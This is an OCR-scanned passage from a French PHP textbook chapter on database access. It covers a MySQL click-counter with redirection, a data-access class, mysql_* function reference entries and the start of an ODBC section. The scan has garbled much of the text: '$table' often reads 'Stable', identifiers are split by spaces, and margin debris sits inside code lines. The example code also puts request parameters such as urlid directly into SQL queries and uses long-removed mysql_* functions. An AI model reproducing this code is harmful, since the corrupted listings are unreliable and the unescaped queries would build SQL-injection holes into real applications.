if ( !$idConnexion) return FALSE; 
mysql_select_db($base) ; 

return $idConnexion; 



I** 

* Fonction de deconnexion. 

* (Ne fait rien sachant que la fonction 

* de connexion etablit une connexion persistante) 

*/ 

function CC_deconnexion() 

{ 

return TRUE; 

} 

I** 

* Fonction charge de creer et d'alimenter 

* la table "compteur de clics" 

** J 

function CC_ini ti al i seBD($i dConnexion, Stable) 

{ 

// Creation de la table 
$requete = "DROP TABLE Stable"; 
@mysql_query ($requete, $idConnexion) ; 

$requete = "CREATE TABLE Stable (". 

"urlld INTEGER ". 

"AUTO_INCREMENT PRIMARY KEY,". 

"url VARCHAR(128) NOT NULL,". 

"nbclic INTEGER DEFAULT 0,". 

"UNIQUE(url))"; 
if ( !mysql_query ($requete, $idConnexion)) return FALSE; 

// Alimentation de la table 

$requete = "INSERT INTO Stable (url)". 

" VALUES ('http://www.php.net 1 )"; 
if ( !mysql_query ($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO Stable (url)". 
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" VALUES ('http://www. phpfacile.com')"; 
if ( !mysql_query ($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.sqlfacile.com')"; 
if ( !mysql_query ($requete, $idConnexion)) return FALSE; 

g « $requete = "INSERT INTO $table (url)". 



^ >| " VALUES ('http://www.xmlfacile.com')"; 

.2 g if ( !mysql_query ($requete, $idConnexion)) return FALSE; 

CO "O 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.ootoogo.com')"; 
if ( !mysql_query ($requete, $idConnexion)) return FALSE; 

return TRUE; 



= CO 

— ' u> 



?> 

La lecture de la liste des liens disponibles en base de donnees pourra se faire via la fonction 
cc_recupereLiens ( ) du script suivant : 

Listing 10.39 : compteurclic_bd_inc.php (milieu) 

<?php 

I** 

* Fonction retournant les informations de liens 

* sous forme d'un tableau associatif possedants 

* les cles 

* - "lien" associe au tableau des liens hypertextes 

* - "nbclic" associe au tableau des nombres de clics 

** j 

function CC_recupereLiens($idConnexion, Stable) 

{ 

// Norn du script charge du comptage et de la redirection 
$script = "compteurcl i c_redi recti on. php"; 

// Requete SELECT 

$requete = "SELECT * FROM Stable"; 

$idResultat = mysql_query ($requete, $idConnexion) ; 

// Recuperation des enregistrements les uns apres les autres 
while ($enreg = mysql_fetch_array($idResultat)) { 
$liens["lien"] [] = "<a href=\"$script?url id=" . 

$enreg["urlld"] ."\">". 
$enreg["url "]."</a>"; 
$liens["nbclic"] [] = $enreg ["nbcl i c"] ; 

} 

return $liens; 
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L'affichage des liens consiste uniquement a mettre en page le contenu du tableau ainsi 
recupere (voir la fonction du script compteurclicjitmljnc.php). 

Comme cela a ete precise, le lien <a href ="http : //www. sqifacile. com">http: //www 

. sqlf acile . com</a> a ete remplace par <a href="compteurclic_redirection 

.php?urlid=3 ">http: / /www . sqlf acile . com </a>. La redirection vers le site www.sqlfacile 
.com est done a la charge du script compteurclic _redirection.php . 

Listing 10.40 : compteurclic redirection.php 

<?php 

// Parametres du script 
requi re_once("compteurcl i c_bd_i nc.php") ; 



v> 

CD 

to 



a. as 
o 2: 

= O 



CD* _ 

cd fa- 
Stable = "compteurclic"; *> 



// Connexion a la base de donnees 
SidConnexion = @CC_connexion() ; 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 

} 

// Recuperation de l'url et incrementation du compteur 

// pour l'url d'indentifiant passe en parametre de ce script 

// par la methode GET 

$url = @CC_recupereUrl (SidConnexion, $_GET["url id"] ) ; 

// Deconnexion 
@CC_deconnexion() ; 

// C'est l'heure de la redirection 
if ($url) { 

header("Location: $url"); 
} else { 

echo "Desole, nous ne pouvons vous proposer ce lien"; 

} 



Ce script appelle principalement la fonction cc_recupereurl ( ) suivante : 



Listing 10.41 : compteurclic bd inc.php (fin) 

<?php 

I** 

* Fonction recuperant une url a partir de son identifiant 

* et incrementant le compteur de clics 

** i 

function CC_recupereUrl (SidConnexion, $urlid) 

{ 

global Stable; 
// Recupere 1 ' url 
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$requete = "SELECT * FROM $table WHERE url id=$url id" ; 
$idResultat = mysql_query ($requete, $idConnexion) ; 

if ($enreg = mysql_fetch_array($idResultat)) { 
$url = $enreg ["url "] ; 

// Incremente le compteur 
g «. $requete = "UPDATE Stable SET nbcl i c=nbcl i c+1 WHERE url id=$url id" ; 

T3 OJ 



«u mysql_query ($requete, $idConnexion) ; 

se { 

$url = FALSE; 



■2 § } else 

CO T3 



= CO 
-j CD 
— ' GO 



} 

return $url ; 



REMARQUE 



Utilisation du bouton retour 

Si, apres avoir suivi un lien, vous revenez sur la page compteurclic.php en utilisant le 
bouton retour (back), le contenu de la page ne sera pas reactualise. Par consequent, 
le nombre de visites affiche ne sera pas correct. N'oubliez done pas, dans ce cas, de 
rafraichir (bouton actualiser) la page. 



SuperTheque 

L'essentiel du code de l'application a ete presente en introduction de ce chapitre. II ne restait 
plus qu'a connaitre les fonctions MySQL pour implementer l'interface Ressourceinterf ace 
e'est desormais chose faite: 

Listing 10.42 : RessourceMySQL class.php 

<?php 

i ncl ude_once( "Res source I nterface_cl ass .php") ; 

include_once(dirname( FILE ) ."/. ./config/mysql_cfg.php") ; 

I** 

* RessourceMySQL_class.php 

* Classe d'acces a une base de donnees MySQL 

* Cette classe doit implementer toutes les methodes de l'interface 

* Ressourcelnterface. 

* Compatibil ite: PHP 5 

V 

class Ressource implements Ressourcelnterface 

{ 

var $idConnexion; 

public function connexion() 

{ 

global $mysql_serveur, $mysql_uti 1 i sateur, $mysql_motDePasse; 
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global $mysql_base; 

if (!isset($this->idConnexion)) { 

$idConnexion = mysql_pconnect($mysql_serveur, 

$mysql_uti 1 i sateur, 
$mysql_motDePasse) ; 

if ( !$idConnexion) return FALSE; 

mysql_sel ect_db($mysql_base) ; 

$this->idConnexion = $idConnexion; 

} 

return TRUE; 



public function deconnexion() 
{ 

// Rien a faire, il s'agit d'une connexion persistante 

} 

public function reset () 
{ 

$requete = "DROP TABLE types"; 

$idResultat = mysql_query ($requete, $this->idConnexion) ; 

// Pas de raison de retourner un erreur 

// si la suppression echoue (si la table n'existe pas) 

$requete = "CREATE TABLE types (". 

"id INTEGER AUTOJNCREMENT PRIMARY KEY,". 

"type VARCHAR(255))"; 
$idResultat = mysql_query ($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$types = array ("Album", "Film", "Livre", "Musique"); 

foreach ($types as $type) { 

$requete = "INSERT INTO types (type) VALUES ('$type')" 
$idResultat = mysql_query ($requete, $this->idConnexion^ 
if (!$idResultat) return FALSE; 

} 

$requete = "DROP TABLE articles"; 

$idResultat = @mysql_query ($requete, $this->idConnexion) ; 

// Pas de raison de retourner un erreur 

// si la suppression echoue (si la table n'existe pas) 

$requete = "CREATE TABLE articles (". 

"id INTEGER AUTOJNCREMENT PRIMARY KEY,". 

"albumld INTEGER,". 

"titre VARCHAR(255),". 

"typeld INTEGER,". 

"commentaire VARCHAR(255) ) " ; 
$idResultat = mysql_query ($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 
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public function addArticle($albumId, 

$titre, 
$typeld, 
$commentai re) 

{ 

$requeteDebut = "INSERT INTO articles (albumld, titre, typeld"; 
g co $requeteFin = ") VALUES ($albumld," . 

>S .mysql_escape_string($titre)."\". 

.2 | "$typeld"; 

g ■= if ($commentaire != "") { 

|= -S $requeteDebut .= ",commentaire"; 

$requeteFin .= " , 1 " .mysql_escape_string($commentai re) ; 

} 

$requete = $requeteDebut . $requeteFin . ")"; 
$idResultat = mysql_query ($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 



= CO 
— ' CO 



} 



public function getArticle($articleId) 

{ 

$requete = "SELECT * FROM articles WHERE id=$articleld"; 
$idResultat = mysql_query ($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$article = NULL; 

if ($enreg = mysql_fetch_array($idResultat)) { 
$article = $thi s->enreg2Arti cl e($enreg) ; 

} 

return $article; 



public function getArticles(Filtre $filtre, Plage $plage, Tri $tri) 

{ 

$requete = "SELECT * FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE 111 . 

mysql_escape_stri ng ($f i 1 tre->getTi tre() ) . " 1 1 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId() ; 

} 

if ($tri->getSens() == -1) { 

$triSQL = "ORDER BY ".$tri->getChamp() ." DESC"; 
} else if ($tri->getSens() == 1) { 

$triSQL = "ORDER BY ".$tri->getChamp() ." ASC"; 
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} 

$1 imi teSQL = "LIMIT ".$plage->getNbArticleMax() . 

" OFFSET ".$plage->getPremierArticle(); 

$requete = $requete." WHERE " .$condi tionSQL. " ". 

$tri SQL. " " .$1 itniteSQL; 
$idResultat = mysql_query ($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$articles = NULL; 

while ($enreg = mysql_fetch_array($idResultat)) { 
$articles[] = $this->enreg2Article($enreg) ; 

} 

return $articles; 



public function getNbTotalArticles(Filtre $filtre) 

{ 

$requete = "SELECT C0UNT(*) FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE 111 . 

mysql_escape_stri ng ($f i 1 tre->getTi tre() ) . 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 

} 

$requete = $requete." WHERE ".$conditionSQL; 
$idResultat = mysql_query ($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

if ($enreg = mysql_fetch_array($idResultat)) { 

return $enreg[0] ; 
} else return FALSE; 

} 

public function getTypesQ 

{ 

$requete = "SELECT * FROM types"; 

$idResultat = mysql_query ($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$types = NULL; 

while ($enreg = mysql_fetch_array($idResultat)) { 
$types[$enreg["id"]] = $enreg["type"] ; 

} 
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return $types; 

} 

public function getAl bumTypeId() 
{ 

return 1; 

} 



private function enreg2Arti cl e($enreg) 

{ 

$article = new Article(); 
$article->setld($enreg["id"]) ; 
$article->setAl bumld($enreg["al bumld"] ) ; 
$articl e->setTi tre($enreg ["ti tre"] ) ; 
$article->setTypeId($enreg["typeId"] ) ; 
$article->setCommentai re($enreg ["commentai re"] ) ; 
return $article; 

} 

} 

?> 

Comme vous le constatez, la principale difficulte n'est pas tant aii niveau des fonctions 
disponibles qu'au niveau de la construction des requetes SQL. La requete sera simple lorsqu'il 
ne s'agit que de recuperer un enregistrement identifie par la cle id (comme c'est le cas avec 
getArticle ( ) ) elle sera bien plus complexe s'il s'agit des recuperer un ensemble 
d'enregistrements repondant a des criteres precis et tries (comme c'est le cas avec 
getArticles ( ) ). 

Requetes avec des apostrophes 

Lors de la construction de la requete, il faut bien garder a l'esprit que l'un des elements de la 
requete (typiquement un champ de type texte saisi par l'utilisateur, comme ici le titre ou le 
commentaire) peut contenir une apostrophe qui pourrait etre confondu avec le delimiteur de 
chaine. Pensez done bien a faire un appel a addsiashes ( ) lorsque cela peut s'averer 
necessaire. 

Affichage page par page 

La meilleure facon avec MySQL pour n'extraire qu'un sous-ensemble des enregistrements 
retournes par une requete SQL consiste a utiliser l'instruction limit, limit permet de preciser 
combien d'enregistrements doivent etre retournes et a partir duquel commencer (sachant que 
le premier enregistrement porte l'index 0). 

Ainsi, select * from nomtabie limit o, 10; retourne les dix premiers enregistrements (de 
l'index a l'index 9) et select * from nomtabie limit 10, 20; retourne les vingt suivants 
(de l'index 10 a l'index 29). 



Tri 



Modifier l'ordre d'affichage des annonces n'est pas non plus bien sorcier. Le tri peut s'effectuer 
directement au niveau de la requete SQL, grace a l'instruction order by. 

Moteur de recherche (filtre) 

Pour filtrer, il suffit d'utiliser 1'instruction where. Dans notre cas, nous souhaitons autoriser 
l'utilisation de jokers (comme %) afin, par exemple, de rechercher les titres commengant par 
une chaine donnee. C'est pourquoi, nous ne ferons pas un test de type titre=' motcle ' mais 
titre like 'motcle' (ou motcle pourrait avoir la valeur "La 7eme compagnie%"). 

En savoir plus... 
. . . sur une requete 

Si vous souhaitez connaitre le nombre de champs retournes par une requete, faites simplement 

appel a mysql_num_f ields ( ) . 



mysql_num_fields () 

Retourne le nombre de champs d'un enregistrement. 

Syntaxe int mysql_num_fi elds (resource $idRequete) 

$idRequete Identifiant de requete tel que retourne parmysql_list_tables ( ) . 

retour Nombre de champs retournes par une requete. 

. . . sur les champs d'une table 

Vous pouvez recuperer la liste des champs contenus dans une base en langant une requete avec 

mysql_list_f ields ( ) , et en lisant le resultat avec mysql_f ield_name ( ) . 



mysql_list_fields() 

Retourne un identifiant sur une requete listant les champs disponibles dans la table. 

Syntaxe resource mysql_l ist_fields(string $nomBaseDonnees , string 

$nomTable, [resource $i dConnexi on] ) 

$nomBaseDonnees Nom de la base de donnees contenant la table dont on souhaite connaitre 
les champs. 

$nomTabl e Nom de la table dont on souhaite connaitre les champs. 



Chapitre 10 L'utilisation des bases de donnees 



$ i dConnexi on Identifiant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Identifiant de la requete, ou FALSE en cas d'echec (nom de base ou de 

table nonvalide). 



mysql_field_name () 



Retourne le nom des champs dans la table. 

Syntaxe string mysql_f i el d_name(resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne parmysql_list_tables ( ) . 

$ index Index du champ dont on souhaite connaitre le nom (le premier champ 

porte l'index 0). Le nombre total de champs peut etre obtenu en faisant 
appel amysql_num_f ields ( ) . 

retour Nom du champ, ou FALSE si l'index n'est pas valide, ou rien si l'identifiant 

de resultat n'est pas valide. 

Cependant, les champs ont d'autres informations a nous livrer que leur nom. Pour cela, vous 
diposez des fonctions : 



mysql_field_type() 



Retourne le type des champs de la table. 

Syntaxe string mysql_f i el d_type(resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne parmysql_list_tables ( ) . 

$i ndex Index du champ dont on souhaite connaitre le type. Le nombre total de 

champs peut etre obtenu en faisant appel amysql_num_f ields ( ) . 

retour Type du champ, ou FALSE en cas d'erreur. 



mysql_field_len() 

Retourne la taille (en octets) des champs de la table. 

Syntaxe string mysql_field_len(resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne parmysql_list_tables ( ) . 

$i ndex Index du champ dont on souhaite connaitre le type. Le nombre total de 

champs peut etre obtenu en faisant appel amysql_num_f ields ( ) . 



retour 



Taille en octets occupee par le champ, ou FALSE en cas d'erreur d'index 
ou rien en cas d'identifiant de requete non valide. 



mysql_field_flags () 

Retourne les attributs (not null, etc.) des champs de la table. 



Syntaxe string mysql_fi el d_fl ags (resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne parmysql_list_tables ( ) . 

$i ndex Index du champ dont on souhaite connaitre le type. Le nombre total de 

champs peut etreobtenu enfaisantappelamysql_num_fields ( ) . 

retour Chaine de caracteres contenant les attributs separes par des espaces (les 



blancs contenus dans les attributs sont remplaces par des underscores (ex : 
no t_nul 1) ; FALSE en cas d'erreur d'index ou rien en cas d'identifiant de 
requete non valide. 

. . . sur les tables d'une base 

Le principe est exactement le meme pour recuperer la liste des tables contenues dans une base. 

mysql_list_tables() 

Retourne un identifiant sur une requete listant les tables disponibles dans la base de donnees. 

Syntaxe resource mysql_l i st_tabl es (stri ng $nomBaseDonnees , [resource 

$idConnexion]) 

$nomBaseDonnees Nom de la base de donnees dont on souhaite connaitre les tables. 

$idConnexion Identifiant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Identifiant de la requete, ou FALSE en cas d'echec (nom de base non 

valide). 

mysql_tablename () 

Retourne le nom des tables dans la base. 

Syntaxe string mysql_tabl ename(resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne parmysql_list_tables ( ) . 
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$i ndex Index de la table dont on souhaite connaitre le nom. Le nombre total de 

tables peut etre obtenu en faisant appel a mysql_num_rows ( ) . 

retour Nom de la table, ou FALSE en cas d'erreur d'index, ou rien en cas 

d'identifiant de requete non valide. 

. . . sur les bases d'un serveur 



mysql_list_dbs() 

Retourne un identifiant sur une requete listant les bases de donnees disponibles sur le serveur. 

Syntaxe resource mysql_l i st_dbs ( [resource $i dConnexi on] ) 

$ i dConnexi on Identifiant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Identifiant de la requete. 



mysql_db_name() 

Retourne le nom des bases de donnees sur le serveur. 



Syntaxe string mysql_db_name(resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne par mysql_list_dbs ( ) . 

$ i ndex Index de la base de donnees dont on souhaite connaitre le nom. Le nombre 

total de bases peut etre obtenu en faisant appel a mysql_num_rows ( ) . 

retour Nom de la base de donnees, ou FALSE en cas d'erreur (ex. : index non 



valide), voire rien pour d'autres cas d'erreur (ex. : identifiant de requete 
non valide). 

Vous pourrez done lister les champs de la premiere table de la premiere base de votre serveur 
avec le script suivant : 

Listing 10.43 : mysql_13.php 

<?php 

i ncl ude_once ( "parametres_bd_i nc . php" ) ; 

mysql_pconnect($serveur. $port, $uti 1 i sateur, $motDePasse) or 

die("<b>Impossible de se connecter au serveur base de donnees. </b>") ; 

SidListeBD = mysql_l i st_dbs () ; 



if ($nomBD = @mysql_db_name($idListeBD, 0)) { 

//$nomBD = "basemysql"; // Pour forcer un nom de base 

echo "Votre serveur contient au moins la base <b>$nomBD</bxbr />"; 

SidListeTable = mysql_l i st_tables ($nomBD) ; 

if ($nomTable = @mysql_tablename($idListeTable, 0)) { 

echo "Et el 1 e continent au moins la table <b>$nomTabl e</bxbr />"; 

echo "Dont les champs sont:<br />"; 

$idListeChamp = mysql_list_fields($nomBD, $nomTable); 

echo "Rows=" .mysql_num_rows ($idLi steChamp) . "<br />"; 
echo "Col=".mysql_num_fields($idListeChamp) ."<br />"; 

$nb = 0; 

while ($nomChamp = @mysql_field_name($idListeChamp, $nb)) { 
$type = mysql_field_type($idListeChamp, $nb) ; 
$taille = mysql_field_len($idl_isteChamp, $nb); 
$attribut = mysql_field_flags($idListeChamp, $nb) ; 
echo "- <i>$nomChamp</i> de type <i>$type</i>" ; 
echo " occupant <i>$tai 11 e</i> octets"; 
echo " avec les attributs <i>$attribut</ixbr />"; 
$nb++; 

} 

} 

} else { 

die("Il semblerait que votre serveur ne contienne aucune base"); 

} 

?> 



. . . sur la connexion courante 

PHP 4.3 a apporte son lot de nouvelles fonctions permettant notamment d'en savoir un peu 
plus sur la connexion courante: Est-elle encore active? Quel identifiant lui est associe? 



mysql_ping() 

Teste la connexion avec le serveur de base de donnees et tente de la retablir si elle a ete perdue 
(apr exemple sur delai expire). 

Syntaxe : boolean mysql_ping([resource $i dConnexi on] ) 

$idConnexion Identifiant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. S'il n'y a pas eu de 
precedente tentative de connexion, c'est la connexion locale qui est testee. 

retour TRUE si la connexion est toujours etablie, FALSE sinon. 
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mysql_thread_id() 

Retourne l'identifiant de la connexion (thread) sur le serveur de bases de donnees. 

Syntaxe : int mysql_thread_id( [resource $i dConnexi on] ) 

$idConnexion Identif iant de connexion a un serveur de bases de donnees tel que retourne 
par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Identifiant de connexion sur le serveur de base de donnees. 

. . . sur Pensemble des connexions 

Egalement apparues depuis la version 4.3 de PHP, les fonctions suivantes: 



mysql_stat() 



Retourne diverses informations (nombre de connexions ouvertes, nombre de requetes traitees, 
nombre de tables ouvertes, etc.) sur le serveur de bases de donnees. 

Syntaxe: string mysql_stat ( [resource $idConnexion] ) 

$ i dConnexi on Identifiant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Chaine de caracteres contenant l'ensemble des informations disponibles, 

sous une forme semblable a "Uptime: 22 Threads: 1 Questions: 9 Slow 
queries: Opens: 7 Flush tables: 1 Open tables: 1 Queries per second avg: 
0.409" 



mysql_list_processes () 



Retourne un identifiant sur une requete listant les connexions sur le serveur de bases de 
donnees. 



Syntaxe : 

$i dConnexi on 



retour 



resource mysq1_l i st_processes ( [resource $idConnexion]] 

Identifiant de connexion a un serveur de bases de donnees tel que retourne 
par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

Identifiant de la requete. 



MySQL 



. . . sur les numeros de version 

Les fonctions evoquees ici ne sont pas d'une utilisation tres courante, mais elles pourront 
eventuellement vous servir si vous etes amene a utiliser des instructions avancees de la base de 
donnees MySQL (instructions implementees dans des versions recentes, par exemple). 



mysql_get_client_info () 

Retourne le numero de version de client MySQL integre a PHP. 

Syntaxe string mysql_get_cl ient_info(void) 

retour Numero de version du client MySQL. 



v> 

CD 
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mysql_get_server_info () 

Retourne le numero de version du serveur MySQL sur lequel nous sommes connectes. 

Syntaxe string mysql_get_server_info( [resource $i dConnexi on] ) 

$idConnexion Identif iant de connexion a un serveur de bases de donnees tel que retourne 
par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Numero de version du serveur. 



mysql_get_host_info () 

Retourne le nom du serveur MySQL sur lequel nous sommes connectes et le mode de 
connexion. 

Syntaxe string mysql_get_host_info([resource $idConnexion]) 

$ i dConnexi on Identif iant de connexion a un serveur de bases de donnees tel que retourne 
par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Nom et mode de connexion au serveur. 



mysql_get_proto_info () 

Retourne le numero de version du protocole de connexion utilise. 
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Syntaxe 

$idConnexion 



string mysql_get_proto_info( [resource $idConnexion]) 



Identifiant de connexion a un serveur de bases de donnees tel que retourne 
par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 



retour 



Numero de version du protocole 



Ainsi, le script suivant : 

Listing 10.44 : mysql_14.php 

<?php 

i ncl ude_once ( "parametres_bd_i nc . php" ) ; 

mysql_pconnect($serveur. $port, $uti 1 i sateur, $motDePasse) or 

die("<b>Impossible de se connecter au serveur base de donnees. </b>" ) ; 

echo "Cette version de PHP integre la version <b>". 

mysql_get_cl ient_info() ; 

echo "</b> du client MySQL<br /xbr />"; 

echo "Et nous sommes connectes au serveur <b>" .mysql_get_host_info() ; 

echo "</bxbr />"; 

echo "sur lequel tourne la version <b>" .mysql_get_server_i nfo() . "</b>" ; 

echo "<br /xbr />"; 

echo "Nous utilisons (sans le savoir) la version "; 

echo "<b>" .mysql_get_proto_info() . "</b> du protocole de connexion."; 

?> 



retournera une page du genre (selon votre configuration) : 

Cette version de PHP integre la version 3.23.40 du client MySQL 
Et nous sommes connectes au serveur Local host via UNIX socket 
sur lequel tourne la version 3.2.3.40 

Nous utilisons (sans le savoir) la version 10 du protocole de connexion. 



Que vous utilisiez veritablement une liaison ODBC, ou que vous utilisiez une base de donnees 
comme DB2 (d'IBM), ce sont ces fonctions que vous utiliserez. 



Si vous devez utiliser une base de donnees via une veritable liaison ODBC, vous devrez au 
prealable configurer un pont ODBC (si le cas de votre base de donnees n'est pas traite dans ce 
manuel, vous pouvez, a titre d'exemple, consulter le cas de la base de donnees MS Access). 



10.10. ODBC 



Installation 



ODBC 



Configuration php.ini 

Le fichier php.ini permet de definir les parametres suivants 

odbc. all ow_persi stent = On 

Autorise ou interdit les connexions persistantes. 

odbc. check persistent = On 5" P 

CD ~ 

Verifie si la connexion est encore valide avant chaque reutilisation. 5. 

odbc.max_persistent = -1 o — 

= o' 

Nombre maximum de connexions persistantes. -1 autorise un nombre illimite. Jg N a. 

odbc. max_l inks = -1 

Nombre maximum de connexions (persistantes ou non). -1 autorise un nombre illimite. 
odbc.defaultlrl = 4096 

Indique le nombre d'octets qui doivent etre retournes dans le cas des champs longs. La valeur 
permet de passer outre. 

odbc.defaultbinmode = 1 

Precise comment passer les donnees binaires : 1 retourne les donnees telles quelles, 2 convertit 
les donnees en caracteres. 

Utilisation 

L'utilisation basique de la base de donnees s'opere selon le schema suivant. 

Connexion grace a la fonction odbc_connect ( ) ou odbc_pconnect ( ) ; 

Soumission de la requete via la fonction odbc_exec ( ) ; 

■ Deconnexion grace a la fonction odbc_ciose ( ) (dans le cas d'une connexion non 
persistante). 

Connexion 

La connexion a la base de donnees s'opere grace a la fonction odbc_connect ( ) . 



odbc_connect() 



Etablit une connexion (non persistante) avec le serveur de bases de donnees. 

Syntaxe resource odbc_connect (stri ng $baseDonnees , string 

$uti 1 i sateur, string $motDePasse [, int $typeCurseur] ] 
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$baseDonnees 
$uti 1 i sateur 
$motDePasse 
$typeCurseur 



retour 



Nom de la base de donnees (ou nom de la liaison ODBC). 

Nom de 1'utilisateur. 

Mot de passe de 1'utilisateur. 

Selectionne un des modes suivants : 
SQL_CUR_USE_IF_NEEDED (non supporte par DB2). 
SQL_CUR_USE_ODBC (non supporte par DB2). 

SQL_CUR_USE_DRIVER. 

SQL_CUR_DEFAULT (non supporte par DB2). 

Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 
d'echec. 



II est egalement possible d'utiliser une connexion persistante. 



odbc_pconnect() 



Etablit une connexion persistante avec le serveur de bases de donnees 
Syntaxe 



$baseDonnees 
$uti 1 i sateur 
$motDePasse 
$typeCurseur 



retour 



resource odbc_pconnect (stri ng $baseDonnees , string 
$uti 1 i sateur, string $motDePasse [, int $typeCurseur] ) 

Nom de la base de donnees (ou nom de la liaison ODBC). 

Nom de 1'utilisateur. 

Mot de passe de 1'utilisateur. 

Selectionne un des modes suivants : 
SQL_CUR_USE_IF_NEEDED (non supporte par DB2). 
SQL_CUR_USE_ODBC (non supporte par DB2). 

SQL_CUR_USE_DRIVER. 

SQL_CUR_DEFAULT (non supporte par DB2). 

Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 
d'echec. 



Execution de la requete SQL 

L'execution d'une requete SQL s'opere par un simple appel a odbc_exec ( ) . 



odbc_exec() 

Execute une requete SQL. 

Syntaxe resource odbc_exec (resource $idConnexion, string $requete) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 
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$requete Requete SQL. 

retour Identifiant de resultat de requete SQL, ou FALSE en cas d'echec 

(identifiant de base de donnees ou requete SQL non valide). 

Notez egalement l'existence de odbc_do ( ) qui est un alias de odbc_exec ( ) . 

Nous verrons par la suite qu'il est egalement possible d'utiliser des requetes preparees 
(contenant des parametres qui pourront etre modifies juste avant que celles-ci ne soient gr 
executees) et de desactiver le mode auto commit (validation automatique) pour avoir acces g 
aux operations de commit (validation) et rollback (annulation). 

Dans le cas d'une requete retournant un resultat (typiquement une requete select), il faudra 
egalement analyser le resultat, mais nous verrons cela un peu plus loin. 

Deconnexion 

Pour vous deconnecter - operation theoriquement facultative mais toutefois vivement 
conseillee -, vous disposez de la fonction odbc_close ( ) . 



GO 
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odbc_close() 

Met fin a la connexion a la base de donnees et libere les ressources associees. 
Syntaxe void odbc_cl ose(resource $i dConnexi on) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

II existe egalement une fonction mettant fin a toutes les connexions ouvertes durant l'execution 
du script. 



odbc_close_all() 

Ferme toutes les connexions et libere les ressources associees. 
Syntaxe void odbc_cl ose_al 1 (voi d) 

Premier exemple 

Nous voila done a meme de construire notre premier script utilisant une base de donnees. 
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Verifiez les parametres 

Prenez garde ! avant d'executer ce script, assurez-vous que les parametres predefinis 



ATTENTION ne risquent pas de conduire a la suppression des donnees d'une de vos bases qui, par 
coincidence, existerait deja. 



jg w Comme cela est fortement conseille, nous avons, ici, isole les parametres de connexion dans un 

"° >S fichier aisement reperable. 
o c 

■.S O ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 

.« ^ Listing 10.45 : parametresbdinc.php (exemple avec MS Access) 

5 g < ? P h P 

_: cu 

// Parametres de connexion a la base de donnees 
// N'hesitez pas a les modifier selon vos besoins 



$typeServeur = "MSAccess"; // MSAccess, IBMDB2, ... 

$base = "mabase"; 

$utilisateur = ""; 

$motDePasse = ""; 



Notre script principal sera done : 



Listing 10.46 : in.sert01.php 

<?php 

// Parametres du script 

requi re_once ( "parametres_bd_i nc . php" ) ; 

Stable = "tabl eexempl e" ; 

// Inclusion du script contenant les fonctions 
requi re_once ( " i nsert01_bd_i nc . php" ) ; 

// Connexion a la base de donnees 

$idConnexion = odbc_pconnect ($base, $uti 1 i sateur, $motDePasse) ; 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 

} 



// Appel de la fonction principale 

if (EX_initial iseBD($idConnexion, Stable)) { 

echo "Voila, une nouvelle table avec quelques donnees, ". 

"vous pouvez le verifier avec votre client de base ". 

" de donnees ou via les scripts suivants."; 

} else { 

echo "La creation ou 1 1 al imentation de la table a echouee."; 

} 
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// Pas de deconnexion dans le cas d'une connexion persistante 
// odbc_close($idConnexion) ; 

?> 



et necessitera : 

